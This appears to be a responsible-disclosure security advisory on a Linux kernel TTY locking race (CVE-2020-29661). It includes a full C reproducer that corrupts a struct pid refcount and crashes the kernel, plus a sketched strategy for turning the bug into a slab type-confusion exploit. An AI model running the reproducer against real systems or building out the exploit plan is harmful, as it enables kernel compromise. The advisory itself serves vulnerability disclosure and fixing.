Linux: Broken locking in TIOCSPGRP leads to corrupted tty->pgrp refcount

tiocspgrp(), the handler for the TIOCSPGRP ioctl, has the following signature:

    static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)

It receives two `tty_struct` pointers because, for PTY pairs, userspace can use
the same ioctl() on both sides of the pair, with slightly different semantics.
`tty` points to the side that userspace passed to `ioctl()` as file descriptor
(either the TTY or the master), while `real_tty` always points to the TTY.


tiocspgrp() contains the following code:

static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p)
{
[...]
        spin_lock_irq(&tty->ctrl_lock);
        put_pid(real_tty->pgrp);
        real_tty->pgrp = get_pid(pgrp);
        spin_unlock_irq(&tty->ctrl_lock);
[...]
}

It always modifies the ->pgrp of the TTY but, depending on the file descriptor
passed in by the caller, sometimes takes the ->ctrl_lock of the master instead.


This means that it is possible to race TIOCSPGRP on the master with TIOCSPGRP on
the TTY.


The following reproducer quickly causes errors (e.g. starting with a
\"refcount_t: addition on 0; use-after-free.\" message):

======================================================================
#define _GNU_SOURCE
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main(void) {
  sync(); /* we're probably gonna crash... */

  /*
   * We may already be process group leader but want to be session leader;
   * therefore, do everything in a child process.
   */
  pid_t main_task = fork();
  if (main_task == -1) err(1, \"initial fork\");
  if (main_task != 0) {
    int status;
    if (waitpid(main_task, &status, 0) != main_task)
      err(1, \"waitpid main_task\");
    return 0;
  }
  if (prctl(PR_SET_PDEATHSIG, SIGKILL))
    err(1, \"PR_SET_PDEATHSIG\");
  if (getppid() == 1) exit(0);

  /* basic preparation */
  if (signal(SIGTTOU, SIG_IGN))
    err(1, \"signal\");
  if (setsid() == -1)
    err(1, \"start new session\");

  /* set up a new pty pair */
  int ptmx = open(\"/dev/ptmx\", O_RDWR);
  if (ptmx == -1)
    err(1, \"open ptmx\");
  unlockpt(ptmx);
  int tty = open(ptsname(ptmx), O_RDWR);
  if (tty == -1)
    err(1, \"open tty\");

  /*
   * Let a series of children change the ->pgrp pointer
   * protected by the tty's ctrl_lock...
   */
  pid_t child = fork();
  if (child == -1)
    err(1, \"fork\");
  if (child == 0) {
    if (prctl(PR_SET_PDEATHSIG, SIGKILL))
      err(1, \"PR_SET_PDEATHSIG\");
    if (getppid() == 1) exit(0);

    while (1) {
      pid_t grandchild = fork();
      if (grandchild == -1)
        err(1, \"fork grandchild\");
      if (grandchild == 0) {
        if (setpgid(0, 0))
          err(1, \"setpgid\");
        int pgrp = getpid();
        if (ioctl(tty, TIOCSPGRP, &pgrp))
          err(1, \"TIOCSPGRP (tty)\");
        exit(0);
      }
      int status;
      if (waitpid(grandchild, &status, 0) != grandchild)
        err(1, \"waitpid for grandchild\");
    }
  }

  /*
   * ... while the parent changes the same ->pgrp pointer under the
   * ctrl_lock of the other side of the pty pair.
   */
  while (1) {
    int pgrp = getpid();
    if (ioctl(ptmx, TIOCSPGRP, &pgrp))
      err(1, \"TIOCSPGRP (ptmx)\");
  }
}
======================================================================

This seems to me like it would be fairly promising as a target for exploitation;
for example, a strategy along the following lines might work:

 - enter a deeply nested PID namespace, such that you have a SLUB cache like
   pid_10 to yourself
 - take a bunch of references to two `struct pid` instances (e.g. through pidfds
   or procfs?)
 - try to hit the bug in a loop such that the refcounts are hopefully off by a
   bit, but both `struct pid` instances still exist
 - on both `struct pid`, drop references one by one until one is freed
  - to detect reallocation, try to get SLUB to reuse the object for another PID,
    then check something like pidfd_show_fdinfo() or tiocgsid() on the old pid
    (which mostly dump plain data from a `struct pid` without touching other
    stuff in there)
 - get the entire SLUB high-order page freed, and try to reallocate it into
   another slab
 - exploit the resulting type confusion, e.g. by changing the refcount of the
   freed struct pid

I haven't tried that yet though.


I'm going to send suggested patches for this issue and for less severe TTY
locking problems around the ->session pointer in a minute.
(The ->session stuff is sufficiently theoretical that it probably doesn't really
need the full security treatment, but I figured it'd be less messy if I include
both here...)
I have done some basic testing of these changes; the only thing that shows up as
a problem is a lockdep warning about a possible deadlock when triggering the SAK
logic via sysrq (involving console_lock, termios_rwsem and tty_bufhead::lock),
but that also happens on master and doesn't seem related to my changes.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2021-03-03. Disclosure at an earlier date is possible if
the bug has been fixed in Linux stable releases (per agreement with
security@kernel.org folks).

Related CVE Numbers: CVE-2020-29661.



Found by: jannh@google.com